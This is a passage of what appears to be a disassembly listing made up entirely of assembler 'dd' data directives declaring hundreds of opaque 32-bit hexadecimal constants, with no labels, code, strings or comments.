		dd 0E73379Ah, 2779F6CBh, 57B489h, 32784104h, 0ECE30005h
		dd 1AA8728h, 180C61CDh,	185E1DE5h, 0A29000AEh, 0B0D6FF9Bh
		dd 90B57D0h, 0D6A8A0A9h, 616A0020h, 6047C95Eh, 0BCF218C0h
		dd 164F3103h, 1908E7F4h, 30066105h, 5E009477h, 1C899CE0h
		dd 66E93Bh, 75391811h, 0EEA8C691h, 63EEAE0h, 7701747Ch
		dd 29C3E0A3h, 0A03BEC0Bh, 0FE019124h, 0D7DBE170h, 0A980F584h
		dd 52964CEDh, 8D008F47h, 426EEB6Dh, 7C5EE6Bh, 77D8EC23h
		dd 3028765Eh, 0F1DF1101h, 6B32BC85h, 4090A19Ch,	0D4E619E9h
		dd 627777A8h, 247A9700h, 7CEA7B69h, 0A7553FE2h,	0DF8F5600h
		dd 663C9CE3h, 30FA0AFCh, 0A9541B05h, 84005EE7h,	9FF7DE6Fh
		dd 876400E9h, 186785C6h, 86E9E3DBh, 0D7E035E6h,	2D5E0078h
		dd 8A37846Bh, 1E006247h, 4A67F752h, 9C8360h, 0F4B0B468h
		dd 3A692672h, 8EF0423Dh, 97C0C5h, 0E7436C39h, 0CC76024Eh
		dd 0CDAED994h, 0D2410483h, 21E0F083h, 471FD316h, 5D07B1DBh
		dd 0A7E0AECCh, 1EF74A84h, 43186B41h, 0A6836803h, 4D12921h
		dd 4464B27h, 915C1BBFh,	80521E2h, 0E0BF32AFh, 0D19B8751h
		dd 0E75E0073h, 146F4374h, 7D00B449h, 0FA7FDDF5h, 0F6D287C8h
		dd 3B3200EAh, 0CE6CD9C9h, 9200DB5Bh, 73333474h,	0A42615h
		dd 0D5CA8421h, 1D3704D3h, 0DCF41AB0h, 5072FA00h, 56733044h
		dd 339A002Dh, 2210C9AAh, 5590819Eh, 113DFD71h, 5390544Bh
		dd 6BDD9B00h, 8D842775h, 0BF1F00BCh, 1CD13B61h,	93790150h
		dd 43A27A00h, 8F9768CEh, 3FB77592h, 6381A436h, 7CC0ACA3h
		dd 0D252C4CDh, 3500917Dh, 0E0B83192h, 87C7DEh, 455FD0EFh
		dd 68A4DF03h, 0C53CF5F0h, 0F4372844h, 16DC0A00h, 0BB99777Ch
		dd 0DC6B507Dh, 0A41300BFh, 0D8F53757h, 0DC000FE4h, 0CE599C3Eh
		dd 18CDAADh, 0D240E1C7h, 0DCEFCB0Ch, 0B4007DD9h, 2AC6ACB1h
		dd 2BA881h, 0FCCFFE17h,	0CA2C08E8h, 0F2244100h,	55285966h
		dd 95221F93h, 0E3780019h, 890CEB7Bh, 0E2AD4B00h, 0E81C651Bh
		dd 0E5670040h, 779485D6h, 0CB001028h, 0EDD815AAh, 90F69BC4h
		dd 6A900134h, 31FADA71h, 0D859FCDFh, 0E1874600h, 0FEF3ACB7h
		dd 2C5F0784h, 518D3275h, 0D464E068h, 121E1EC6h,	0F4C078CFh
		dd 0BCF911EFh, 14AB1438h, 7EE875h, 0D5D8E441h, 299E1E0Ah
		dd 0ABADDD2Ch, 38887614h, 8FF080C8h, 0E3FC9865h, 49970A69h
		dd 0F3A25Bh, 1907F13Ch,	0D7EE2AC0h, 504EE900h, 0FA3D172Dh
		dd 35B20053h, 97E0EDDDh
		dd 8D1F4C19h, 1DC3B74Ah, 0F093D947h, 0E97A92h, 0E676501Ah
		dd 8AC62631h, 0E0202703h, 80A33B84h, 5A7237h, 0F440F3C4h
		dd 8DE46BFEh, 0EFD7A12h, 1DE0C841h, 398068FBh, 9548F8E5h
		dd 0E400F4F1h, 0AA0BB4C7h, 0EBAD64h, 0A98BA18Ch, 450C39CAh
		dd 8537A400h, 0C1049BE5h, 71F90ED9h, 7AEABBA8h,	2E9F0090h
		dd 3CD5DABAh, 99A16300h, 0F4CF8C7h, 9AD90BBBh, 98002E9Dh
		dd 94BFBCBDh, 93724100h, 0E322CD46h, 19CA0081h,	0FBCF0BB8h
		dd 0C600231Fh, 34443BADh, 0FDD2E7h, 0DF1089FAh,	0E829FECCh
		dd 7C11D800h, 2AF3F0FBh, 3E7C98h, 1E755239h, 0D98A2605h
		dd 0E0B3A0Ah, 4600EDE9h, 7C69AD61h, 42D5009Fh, 369B7929h
		dd 5000FAC7h, 0ADB0278h, 1EFFB6E6h, 89399E24h, 828358EAh
		dd 0D0CFF409h, 1FA86F8Fh, 0B7F9C400h, 65C0F79Ch, 767302h
		dd 14B6F3D5h, 2669A790h, 3E2D6700h, 86EE6878h, 0F4909Fh
		dd 306A9EE8h, 0FEDA42Ch, 39D7AF0Fh, 9D58806Dh, 1DA5383Fh
		dd 95AE44Eh, 0C900EFF2h, 9B9C942Dh, 0FA0E35FCh,	0D919F3h
		dd 8A444E67h, 40D14C15h, 28E2DD00h, 555238A9h, 23434FFh
		dd 1601342Ch, 1D0E0C16h, 8707E0EEh, 4526A78h, 3FDFA69Eh
		dd 9B98C05Ah, 690905F2h, 80C8CAC7h, 445FD7F9h, 48AB00CDh
		dd 0B870CCE4h, 0A3F87B01h, 0C7D0A06Fh, 2760FD7Eh, 0D0D9C2h
		dd 99D8E2B0h, 0FE3A0C08h, 6582720Fh, 6D928041h,	0AF897Dh
		dd 873E7504h, 0E9F475Fh, 538E381Dh, 0C08BEBDDh,	84068078h
		dd 0A0CBBBh, 0E8605536h, 2B0F6D54h, 19B4BF00h, 0FE115A8Eh
		dd 3A4898F9h, 470032A2h, 0A1C11AB5h, 4D003313h,	38574E7Ah
		dd 0ECA78E9Fh, 80C0488Bh, 40806000h, 0EEBA4A2Ah, 9E766300h
		dd 9A71DE16h, 8E06007Ch, 52EE374h, 0C03DCE2h, 0FEBC703Bh
		dd 0BF22D0D2h, 8F1D004Bh, 0F476A140h, 0BA207E0Eh, 0B11F0073h
		dd 6CC398B4h, 6A0057FBh, 0C91CD267h, 6BEC79h, 0C412BF9Ah
		dd 1E2ACE51h, 5E3EEB72h, 0FB7BBDCh, 0B4C355h, 0F3131018h
		dd 0D1FC00AAh, 0BABB9CCCh, 950080BFh, 0EE1A921Fh, 0F06DE2h
		dd 0DFC3F30h, 0C351AE27h, 0F94D5407h, 0A56086A8h, 981816h
		dd 0FD776A67h, 0B59699F1h, 78DC38h, 0A33CEB63h,	3C21C20Fh
		dd 0C805D06h, 0AF64B9CFh, 1000AB8Eh, 1AB17DD2h,	2385DCh
		dd 0BC2F6054h, 47BE480Eh, 43F12A03h, 0B087DF07h, 0D5672h
		dd 51C78F59h, 1B4D9E89h, 0B4663501h, 0A009E55Ah, 13DB6810h
		dd 271EBE00h, 51B684BFh, 4EF102B7h, 0BA8A1C2Dh,	0CC120060h
		dd 7A74D007h, 11501983h, 8E5E1Dh, 0B370F4BFh, 0F8E4E656h
		dd 0B848F209h, 5D8000DDh, 1680A65h, 59C3E839h, 716FC6EAh
		dd 0E58440F3h, 9586762h, 7B570007h, 23AA193Bh, 479014B3h
		dd 6F2C8961h, 0EDF2008Ch, 40216B9Ah, 4132000h, 0B7C9AD45h
		dd 0C53F00CFh, 777BCDE8h, 38000568h, 8C203D0Dh,	2F24B8ABh
		dd 99F81F4Ch, 0CB598D00h, 2807EA15h, 3EA2008Eh,	0E07C3DB2h
		dd 43054952h, 0C88BF157h, 1E3180FEh, 4715C39h, 737AF207h
		dd 0B4107464h, 7206C9A9h, 794300F8h, 1E1B8490h,	0B90076E0h
		dd 0F29FC895h, 0F8D66B4Bh, 2A7A006Eh, 36DE876Fh, 0E500E8D0h
		dd 16AF5648h, 7431E2Dh,	0D6928418h, 0B3780B5h, 0C913CE7Fh
		dd 0B2000803h, 0A1625BA8h, 0BA07503Fh, 0E14F0E54h, 0B560F933h
		dd 821CE85Ah, 69F7AD07h, 5C40B3B2h, 381B89D8h, 6C00FD21h
		dd 3E35F974h, 0B2006312h, 2C298AA4h, 2A0CDB5h, 96559CA7h
		dd 96822648h, 0C840F076h, 0C6760528h, 0F6C3720Eh, 5726014Bh
		dd 0C8CF3C1Fh, 9892761Ch, 34940097h, 32903A15h,	0AA00260Dh
		dd 0A0076FCCh, 1279C83h, 8614C1D1h, 207D2243h, 0D900A7C8h
		dd 0E65B36DCh, 4A4ECB0h, 2680E272h, 0F180C14Eh,	5E37C8C6h
		dd 0D87D4B28h, 1BC6F5Ch, 0D11D347Fh, 488147CFh,	0D96271A2h
		dd 101DDB3Ch, 6CC032CDh, 64C5F6E0h, 19570041h, 510E8281h
		dd 3201288Ch, 9FE47B88h, 17D09D3Eh, 0A23D0054h,	2F61D641h
		dd 3B00FAA1h, 68D41ADCh, 0D2DED8h, 73222726h, 0BF9565A7h
		dd 0B62B7D00h, 826117C4h, 989C016Fh, 464E8FDEh,	2C386078h
		dd 7C184Ch, 523BD681h, 0F43E9567h, 8CC201C4h, 0DD17F02Eh
		dd 0AB16E8A5h, 10480A00h, 89F93566h, 8C9B000Bh,	917947FCh
		dd 0A5076DE8h, 0C50F087Dh, 13647730h, 0CB55127Fh, 9FE080A2h
		dd 64948DFCh, 3CF0EC00h, 5FDFA0h, 493B85E7h, 0C310AFBh
		dd 2735C3Ch, 2E5A050Dh,	9FD1C1B2h, 50E624C0h, 23FF89h
		dd 0A331218Bh, 72AED829h, 0C6623706h, 78111B85h, 7393043Fh
		dd 0B4435F76h, 7E004024h, 2BEE83DCh, 33E913Ah, 78C64F28h
		dd 2CD012C0h, 1F02B906h, 0BEAAB5DCh, 0FAD7E12Eh, 0E2D33080h
		dd 0CEE9FCF6h, 348850C0h, 50C214ECh, 128E3002h,	4326687Ah
		dd 47CBE74Ch, 0EBB1298h, 0A1022C0Eh, 88556A14h,	2B06AB81h
		dd 4B701F38h, 0FFB4A3E8h, 0B8F2FEC3h, 24F3AA97h, 3F69FFDh
		dd 0F7463019h, 0F7AE1CB9h, 2F3B70D0h, 0B8817200h, 0C0EC1328h
		dd 29E600F9h, 249CEFA8h, 991C0882h, 47095F7Dh, 3B1460C1h
		dd 50D50075h, 921455D3h, 7C01E16Fh, 8D1C56B8h, 288A686Eh
		dd 1826FCh, 1A71D997h, 0C798087Eh, 0CA00B8DFh, 2277D8B3h
		dd 16390097h, 31D501DBh, 0D35CD985h, 747C00AFh,	646EDD4Eh
		dd 0DEA53FCFh, 605B1E70h, 0F712804Dh, 41848D0Eh, 0C10BE719h
		dd 0F42C959Ah, 81A01901h, 0E4C36FE6h, 0B5058855h, 0D41E737Ch
		dd 0ECB00497h, 5FE2CEh,	7F0D48E1h, 0ED45A6CFh, 144B8A00h
		dd 3CDB604h, 4E1D30C9h,	52432D59h, 44304174h, 927AE1EAh
		dd 1F5A001Ch, 0DCE17591h, 0DA7B2CA7h, 0CD851B1Eh, 0F745C842h
		dd 82A060A5h, 0CFC500CEh, 6F59D903h, 0FD029A36h, 2FC131F2h
		dd 60868130h, 0B4D8AFCCh, 0B13800EEh, 8E2BBBE3h, 3B1FDA85h
		dd 289F5318h, 9E9D3D3Bh, 0AA80ED1Ah, 98BAB9CEh,	0C29F1E69h
		dd 2F2A8035h, 407EB12Dh, 28191331h, 1C03C9BEh, 8305C880h
		dd 84F1A100h, 91A37F44h, 0EC020067h, 89D11C2Fh,	0A700A837h
		dd 0F179359Bh, 6AB163h,	0AA592ED3h, 7D788D25h, 0EF437401h
		dd 0B82A1F9h, 5A20FF8h,	69143AA4h, 9DE48079h, 80009741h
		dd 885AFB82h, 172DFF1h,	3FA4409Ah, 0CEB6AB04h, 2E808AE3h
		dd 0B80029CFh, 61D3B799h, 7CC0C5E6h, 2F530033h,	5E905F4Ah
		dd 0F21DDA43h, 56E6A29Dh, 3C80FA1Dh, 0C99CC54Fh, 0B198A0CEh
		dd 0AFCD00F1h, 0B541D694h, 4E0068DFh, 0C96B9D67h, 324C062h
		dd 0B7D0439h, 0BB987B4Dh, 5E0EC8DDh, 816730FCh,	246F625Ah
		dd 24DE4h, 34FFAA28h, 9435BA99h, 0CDF5BC00h, 63B8B179h
		dd 0F49B12B6h, 8C2A00CEh, 61337B87h, 0B06ECA00h, 0AAFB86E0h
		dd 9FF81CDEh, 41D35F5Eh, 0DF0166E7h, 0F0D8F8A0h, 0EEA50600h
		dd 0BDFC0898h, 46FA18EFh, 0A38DC8A6h, 17ED0900h, 3D40778Ch
		dd 9BD90058h, 69724F7Ah, 0D1F05F36h, 858DAA00h,	0BE338CA6h
		dd 9688A07Dh, 5BDD000Ah, 84EEEF87h, 0E83E4229h,	811B0025h
		dd 0EB2D62BAh, 0E29700BEh, 0D0133749h, 0E10FCBEEh, 0A0B989BFh
		dd 0C77B0493h, 598C1C9Eh, 0D81600E0h, 8B6184Ah,	730064F4h
		dd 33259FADh, 58E470B2h, 46003774h, 0A91C6C5Ah,	0B9000E88h
		dd 60C16DDCh, 63BB09h, 3610BF8h, 0A8F72F02h, 0DABE4415h
		dd 0FBE500DCh, 0EEACE3C7h, 9D37005Bh, 0CE39C2A8h, 600023FFh
		dd 0C9513650h, 0B811EF12h, 0E58D00BCh, 2F1C1AF9h, 0C6007680h
		dd 0B2162470h, 48C0C91Dh
		dd 813C6C1Fh, 0EE455A00h, 0A67DB3BEh, 0C58EBA00h, 0F83FD23Ch
		dd 2100127h, 98D56A42h,	35ADD0F1h, 0FFCCF03h, 0F017BF8Ah
		dd 490961h, 55311CDBh, 5E393853h, 0FE7A5D1Dh, 4133CFDh
		dd 3F52367h, 0FD87A480h, 24EE0282h, 3581458Bh, 0A352E840h
		dd 93579800h, 58332B4Eh, 788C9201h, 0F06C2D0Bh,	0E40CEB7Ch
		dd 152199Bh, 850A62F9h,	70302814h, 6507FDAFh, 2F9C920Dh
		dd 5481E640h, 7A4000C7h, 3F06B7FFh, 0F02478BBh,	9700CC6Dh
		dd 0FCF49048h, 36C5009Ah, 46288007h, 0C8F737BAh, 0E800D44Ch
		dd 3322F63Dh, 5509F53h,	66F1EBE5h, 0B9CC00BDh, 0F3E4AED3h
		dd 0E247B212h, 502A9400h, 710ED9h, 140881D2h, 5B8DE64Eh
		dd 0ACCDF48h, 0ECE2BEC3h, 48ED6F00h, 877AC6h, 0B9A9D274h
		dd 53F35734h, 7D3A43FAh, 9678008Ch, 0D0354E67h,	5CB0A6h
		dd 34FEE915h, 44790A3Ch, 525DD400h, 61D02557h, 15370014h
		dd 56BAFB5h, 9E003FD5h,	31F3F86Eh, 14DF074h, 7B7CDA0Ah
		dd 0C4F2AC91h, 8D00F904h, 0F76113C5h, 1B0910h, 113EF8BFh
		dd 0EA1E8BB9h, 3206CB0Ch, 80B886h, 0EDB2BC0Ch, 0E8995F69h
		dd 0E9E4A601h, 4F085E9Bh, 8BB06280h, 93AD650Eh,	0A5CECC09h
		dd 0E79820C6h, 38FF53A7h, 0C982E9EAh, 0C20D1B2Ch, 1A988443h
		dd 3B0015E5h, 5BAD6E28h, 55CFD6h, 0E33E0763h, 0C8F3DB6Ah
		dd 0A8060301h, 0A94DAAEEh, 73001C23h, 725912DBh, 0B200245Bh
		dd 0ACC7CBDDh, 92FB30FFh, 0D4BA00E8h, 23C20FBCh, 9A007664h
		dd 71E946F8h, 1152012h,	6A05CAA4h, 0C8B90821h, 2B031C37h
		dd 4A2C3461h, 19DE60h, 289BDEE7h, 0D3FA24AFh, 528BA409h
		dd 0E08A7DA8h, 0EC92DCh, 59FA2010h, 9F05398Dh, 7FC71FDEh
		dd 245CC00h, 0E47E08h, 0B217C6A9h, 0D77C41F1h, 0C1A8C0Eh
		dd 0C8801DD9h, 89A4BF3Eh, 9D69071Bh, 20E1C4Fh, 3860DDAAh
		dd 530003E0h, 0F4355C70h, 400F71h, 0EC89C10h, 6065833Ch
		dd 0F908FA01h, 0EE3026F8h, 4C2581C0h, 0E30077F0h, 0D21FECB9h
		dd 460E1D85h, 20091848h, 76B53DEBh, 990F1B97h, 31B81987h
		dd 0CBA0D3EDh, 4E70795Dh, 0D90747F2h, 719E5E02h, 5841D430h
		dd 26E3000Eh, 7710B5D3h, 70004333h, 0CB6A44B3h,	38C67D1Ch
		dd 5281261Fh, 0EFB15B7Ah, 0ED8C60ADh, 662BC00h,	0B9BE275h
		dd 22BA001Dh, 0B6DFF057h, 4C0177A8h, 587146C6h,	0BE6075F4h
		dd 997300F6h, 0A75B5754h, 0C8000E06h, 0CF88A436h, 1E560A81h
		dd 0DB40C2h, 0EA62DFE2h, 7662046Fh, 60255F61h, 0ECBDB829h
		dd 45A10F31h, 0E4A18374h, 0D1FDEEAFh, 0E33C6488h, 75522A00h
		dd 6AE54525h, 8386026Bh, 97B479F2h, 0F098C1E3h,	7000F9CCh
		dd 763ED9A6h, 0C752A9h,	0C6CB4E2Ah, 0F03D5702h,	87B6E200h
		dd 91DA42A1h, 1932E78h,	0F53DBE6Ch, 4F3C681Ch, 3FE0A757h
		dd 8E1347F7h, 0B91C6203h, 0BADAF8h, 3CE47490h, 1346DF3Ah
		dd 97083861h, 50314005h, 3A596FE0h, 1E0099FFh, 0CAB08E9h
		dd 36007086h, 47156CFAh, 3ADBB8h, 0F8B51234h, 5EDE0825h
		dd 59817E18h, 0DD3890h,	27B97437h, 2539A217h, 515E1E00h
		dd 596732DBh, 5B8B0903h, 8800DA5Ch, 0CEB931B0h,	7984FD00h
		dd 0BB2BC90Ch, 861B01E6h, 389363CFh, 0ED0FF0Bh,	14DC0CE4h
		dd 9EF180FDh, 396EBF8Fh, 3068000Bh, 95C1AC58h, 16F6525Ch
		dd 0B2363F00h, 7DDF69A7h, 3E7B44h, 0AF9DC923h, 319052A2h
		dd 113BEF01h, 0C0610338h, 20F817EDh, 8A530008h,	7CFAE856h
		dd 0A900165Fh, 12A481A7h, 64884Eh, 91298AEBh, 0AF23E82Eh
		dd 488D8F01h, 0FC8017A1h, 6041E0h, 0F2CF320Fh, 9C1D1856h
		dd 82EAAE00h, 0AA6377F6h, 2440071h, 0D22E629Bh,	691807C0h
		dd 9F06B89h, 0D9AE00FBh, 86296F2Dh, 0E6E60858h,	95B6C002h
		dd 0A07CC492h, 788EC88Ch, 81E70137h, 518FC52Dh,	8071D135h
		dd 789D3A21h, 0E4EA3CFh, 0AF4B66DDh, 6A726D00h,	210CEC80h
		dd 58130331h, 0D2BD0038h, 0F4405496h, 0C037E5DCh, 2A554968h
		dd 2015B440h, 1EDCDE19h, 796C704h, 0D18BBAECh, 836B3B73h
		dd 4EE45850h, 926804DCh, 115F052h, 0FA74A90h, 1891881h
		dd 80B68A0Ch, 0DE41E691h, 8CC7D3h, 1894B043h, 6999F419h
		dd 9D6F7601h, 973158CFh, 80461280h, 12D65706h, 0D0853600h
		dd 0C8196C17h, 66520058h, 0AD7EA3ABh, 1200AA8Ch, 6373B9EDh
		dd 3CBFB32h, 0F52FD878h, 929E8D5Ch, 0DE0D9B01h,	0BA17D27Bh
		dd 0E657F0h, 1EB3BBA1h,	9B2C59E3h, 4719331Fh, 0CEE10345h
		dd 83EA043Bh, 1506501h,	80111D11h, 701B5E0Fh, 0A67ACAF9h
		dd 0E84A8400h, 33C13918h, 1981F8EAh, 19878EE5h,	226510EDh
		dd 0DF48C092h, 57CDE2F6h, 0A4376A71h, 798C20C0h, 78201F0h
		dd 4253D29h, 402EE8F3h,	17374C3Fh, 6A1F42BCh, 99B77E30h
		dd 0E04A078Dh, 86C9662Bh, 4D06760Dh, 47CD091Fh,	10060F50h
		dd 3C1F65E5h, 16FCBA0Bh, 94BFE280h, 0C96E1813h,	0CFEA0A1h
		dd 4B65C0h, 443CA458h, 94366E03h, 3988AE1Dh, 0CEEEA640h
		dd 9F1590h, 8C0583F7h, 957F8BF6h, 8D00EDF0h, 6F974863h
		dd 39CAA910h, 0BA384D73h, 210D0C00h, 0B0DB8CF6h, 46189C78h
		dd 4541F78Bh, 0E2D0089Fh, 50C90A1h, 7761888h, 6AF51452h
		dd 81E84010h, 900EB591h, 0E01B7279h, 750A1115h,	86D61F19h
		dd 33B1F97h, 42A9ACF9h,	298F60A7h, 9801058Bh, 43C20A94h
		dd 10989C84h, 0DB385AF7h, 0E1012707h, 18BCE817h, 186F068Bh
		dd 0C077C726h, 0F8C2F40Ch, 98015h, 831F4832h, 5EFEE21Bh
		dd 82974E3Dh, 0DCA3613Fh, 3324B898h, 10E58479h,	0A8C6D999h
		dd 0F08790h, 0F3F5B509h, 975E7C2Eh, 8B00E67Dh, 9C9A5C85h
		dd 2AAAEEh, 5BD2E5D4h, 733001F5h, 9023D01h, 0B2969B0Ah
		dd 3A10E4E0h, 0E5032153h, 0C61C8D66h, 4FA393E8h, 0B8C20BE0h
		dd 8F9ADF94h, 772985BCh, 8858B011h, 236A447Bh, 809ABA27h
		dd 7CB4C9Ch, 0E2A115EAh, 1E1F800Ah, 5F0EA1Fh, 4D78DDC9h
		dd 0F1BC41F4h, 0F3FAE00Bh, 0F2D64806h, 0B08023h, 0A6A07F09h
		dd 634B5261h, 18AC6830h, 3801FEh, 0BD0230D0h, 0CD5E32C5h
		dd 0E0BF600h, 9490C198h, 71F26322h, 7CADBF7h, 95854C40h
		dd 0BD05C8F5h, 9C40BF48h, 0E1F4DE15h, 31103CC3h, 92F44E2Dh
		dd 953620C1h, 69809D42h, 0C131E515h, 0E02416BDh, 0FCA22C17h
		dd 0DE988000h, 0D89204F5h, 86EC1524h, 5F8434B9h, 0BFF33062h
		dd 0C2F80615h, 289F4BE8h, 8D88000h, 0C4BD1FEBh,	0B3A82A01h
		dd 0E36B01C0h, 0F8535196h, 78ABF459h, 0BB08CB00h, 0E1F90B56h
		dd 61F242Fh, 0AD6C806Ch, 74F6227Bh, 9500F470h, 1461779h
		dd 3FB2204Ch, 36282E57h, 0DCA80088h, 5BC286B0h,	321AD669h
		dd 85B90E38h, 805BCDD4h, 87F4E0F1h, 0F3361CADh,	0C4271486h
		dd 960E3A9Eh, 24C04389h, 0DB87959Ch, 741A0900h,	1C72761Fh
		dd 93C6009Bh, 550A6612h, 0A904B10Bh, 11EE1785h,	0E260F887h
		dd 60899127h, 180580CCh, 231F1451h, 3206303h, 2EF82777h
		dd 0A964541Ah, 0CA04B248h, 383B0C95h, 28F96E58h, 0BD8698C8h
		dd 0F830ADE1h, 82631476h, 49383408h, 0A4E28E0Ch, 0C8B0C80h
		dd 80BA85E9h, 81D1938h,	8D838E22h, 0E818D287h, 77D8CAFh
		dd 5960E476h, 0C3690F4Bh, 0F2058A8h, 17C380AEh,	8CE00FE2h
		dd 0F50EAC75h, 0C2D1F3Eh, 1AB03Ch, 0ABEB6658h, 0EF5FBE8Ah
		dd 4E286092h, 0BA00DC1Fh, 9A22D418h, 0F33A2Ah, 499FDF6Ah
		dd 0A90A5597h, 0E231DE60h
		dd 61BE68D4h, 77911892h, 5BAC209Fh, 0D41F013Ah,	0FF1F11D8h
		dd 0F9DD0748h, 57CFC141h, 0A0408306h, 7B8DA905h, 8FE029F8h
		dd 5C6A04FCh, 0F88776h,	8CC421B6h, 0A1119E00h, 5FF3C631h
		dd 7B94004Ah, 9B5C0E06h, 0BD00729Ch, 91022108h,	2E16CCDh
		dd 0F5CB59A3h, 0B09BF451h, 72D481h, 7A0CAAh, 1028BA8Eh
		dd 6E0A610Fh, 5093E125h, 4CD634AAh, 0D01C91h, 81D0A8CEh
		dd 90609DB7h, 0DBF9AD18h, 0B02E542Dh, 85910049h, 73D677D2h
		dd 7948D098h, 90580CCh,	38581DCCh, 1CC89390h, 0A8E0BA00h
		dd 0D40B8759h, 76A20814h, 137A07D0h, 62B0459Eh,	0A0F395E1h
		dd 26055E9Ch, 9E84F2E2h, 0EDF5C655h, 0E8A811CAh, 6D0C017Ah
		dd 19F8520Ah, 0DCC106E0h, 30FCEEF5h, 72AC1654h,	0E9C46A00h
		dd 0BF1B7FE5h, 0BE981CDDh, 66ED8F60h, 0D3B9D03h, 14C0A0CAh
		dd 0E912975Fh, 0C0F8541h, 8A2AE09Eh, 48178ACh, 3C55ADD7h
		dd 668C81FDh, 1C29D0EAh, 16D49A17h, 0F77B4400h,	0F1079Bh
		dd 69D07546h, 0A1F30E49h, 0B1E0144Ch, 8066121Ah, 0F80A4C71h
		dd 9652A382h, 312A286Eh, 0F700C84Eh, 44B71745h,	928C0D86h
		dd 0D5114434h, 38243226h, 12DF4841h, 46C8DC42h,	499A6A68h
		dd 0E00480A0h, 27769531h, 58F0F648h, 4B206219h,	0ED20648Eh
		dd 2858C199h, 0E0C01E1h, 2800AE08h, 85E21686h, 6003250Bh
		dd 1D9CB192h, 4A00AB31h, 511F4597h, 6903243Dh, 400421C5h
		dd 0B36408F9h, 2921AD99h, 3B3F1D91h, 18BB5199h,	0AD04F662h
		dd 0CB384C88h, 0D50F7CB0h, 6084BA0Bh, 0E224C75Fh, 4040B553h
		dd 0F80A0A30h, 880FBDD8h, 0B0009849h, 25A91F37h, 0FC080917h
		dd 7430ACA9h, 8C0B3418h, 38DD38ACh, 7C57A128h, 0F034907Ah
		dd 0E6880998h, 0AC229A20h, 0D0E84727h, 124CF546h, 0E3A78068h
		dd 5C2E90FBh, 80413CA8h, 5CE90D20h, 482E4887h, 6BC6080Ch
		dd 0E60B0139h, 51402533h, 20222433h, 545A1858h,	0F202EA24h
		dd 604C124Bh, 7686C5Eh,	0BE6F34F4h, 412D81E3h, 24E025A7h
		dd 94882E50h, 499C12B9h, 6A18263Ch, 91B94461h, 5180FAAEh
		dd 0A29E1F67h, 94091E79h, 882A9C3Ch, 28AA5C80h,	8CE08B07h
		dd 0CB70381Bh, 4191D17h, 5087F5BDh, 0F7C090C0h,	70C99E74h
		dd 940F82BEh, 89F0402Ch, 1024E1E5h, 9348C01Ch, 0B10A6975h
		dd 0A1DC6CA8h, 2943C430h, 3392B0Bh, 0D517F99Bh,	20A59C72h
		dd 790750BCh, 4C1D967Dh, 7FC1E174h, 3CD53FB3h, 5C18BED2h
		dd 0FA0EDC9Fh, 8E408F43h, 9B9C095Ch, 9A341F0Bh,	59C2570h
		dd 59EE093h, 0A3CFBFA8h, 330C573h, 4E15DC8Ch, 3B1BF2F8h
		dd 0D6C931Fh, 4745354h,	5CD3C6D4h, 0A18CA8C1h, 38064050h
		dd 91DA0061h, 9C1D930Ah, 90B915BEh, 2B60EF42h, 62A1F890h
		dd 50D31A24h, 12521702h, 0F78E02F6h, 0A35088E0h, 4D5E4809h
		dd 0C042419h, 0EBCE2C80h, 10F22614h, 53950730h,	2D2B0072h
		dd 0E02EA8F7h, 77BC685Dh, 0F489C960h, 9B754C1h,	0F09124B8h
		dd 26F8E420h, 7548927Ah, 2E5C002Ch, 0F6C1131Ch,	0A9970387h
		dd 0BD955386h, 89CF02C7h, 80E1A4A0h, 1F035715h,	5C7B6E75h
		dd 0C5380087h, 5A26968Ch, 21479F3h, 29D01409h, 0A08808D2h
		dd 5DF160F4h, 4A51962Eh, 697BE889h, 9960DD00h, 73F4E8F3h
		dd 0C55316C1h, 45F40217h, 289033E1h, 9A007021h,	9B8CFF1Ch
		dd 987F5DF5h, 0D618129Bh, 98800086h, 10E5D5EAh,	968BC307h
		dd 0D80CF520h, 0A8974938h, 0B0A10C03h, 187501DEh, 0C246FC98h
		dd 20629421h, 0CCF30583h, 0D2014820h, 2D98C1A8h, 0C0481B1Ah
		dd 0A4BD14DBh, 2E05D874h, 9109F65Bh, 298D61D4h,	163A1720h
		dd 24E88810h, 0AD0104C1h, 8703FEBDh, 37D06425h,	7098F3h
		dd 788D90A0h, 192434BEh, 8B9AD600h, 811B2D79h, 0E89F5951h
		dd 786C8F28h, 4C7B49F6h, 41EA0805h, 669443B5h, 38332E72h
		dd 0D89B2A15h, 0E09C4C09h, 2914FC76h, 11080C39h, 73D48027h
		dd 98151B89h, 990CA048h, 5A290053h, 44078221h, 0BF539F97h
		dd 77398544h, 0A2CD48Ah, 43F100C8h, 99AD8D70h, 80604E3Ah
		dd 97149E12h, 649041E7h, 20753876h, 2C23C917h, 40C40DABh
		dd 0CE1AA97Ah, 1D06452h, 7415C458h, 0C038F422h,	0C11B29A0h
		dd 0CC539329h, 0B08E3B8Ah, 92F789D0h, 2804B8A4h, 15A4A9FAh
		dd 0B0910A8Eh, 882AB900h, 831BF5E9h, 4A21F302h,	91F45BACh
		dd 6C18F908h, 189C1712h, 4CB07C15h, 5F00714Bh, 7115C253h
		dd 499D9A29h, 2708684Bh, 8C018B73h, 0CE46E154h,	0C7FC40F6h
		dd 486825DDh, 0D320DC94h, 0CAFE0A7Fh, 984162Bh,	7423B820h
		dd 3100AA2Fh, 6A999FF4h, 311AC12h, 0DFF09C33h, 20DF491Eh
		dd 5C6DE484h, 92142807h, 2240ECA9h, 78F7B146h, 1873700Eh
		dd 6890AAE9h, 3017F4Ah,	453ABD7Bh, 60395D6Fh, 0E2B02F24h
		dd 16009510h, 0E9386ACFh, 8E24D476h, 124A0984h,	8469442Eh
		dd 9218E0ACh, 6049D098h, 0E61052Ch, 2782CC38h, 1C10608Ah
		dd 20305C37h, 56F5F003h, 180233B7h, 0AACE0CA2h,	5C070DAh
		dd 0BAA14462h, 2A940074h, 0CFF1C895h, 1CD71224h, 50BF2D80h
		dd 1F0C4Ah, 0F06A252Ah,	0AAAD589Dh, 0B1349307h,	8582BA73h
		dd 20C094BEh, 2D0E6113h, 0A3771F01h, 0F8918CF8h, 0EEC364h
		dd 8D6B0DE9h, 0F79F48E2h, 0A0A04690h, 18A81E80h, 595233F0h
		dd 84C38430h, 0AA40F401h, 5AC02491h, 0A80EA1B8h, 8AA2A1h
		dd 1758F5DBh, 1CF1337h,	0BD68C0A7h, 0D8E0BEC5h,	2270B7Eh
		dd 0C88832Ah, 8C8C1F06h, 5B320A05h, 61D20C0Ch, 0E4A4DE90h
		dd 3BCE7405h, 0A490791Ah, 5C5001F9h, 773A886h, 0CE48A1ACh
		dd 0F56BF366h, 0BBE03CD3h, 8F7FABF3h, 8100709Eh, 9D65CF0Bh
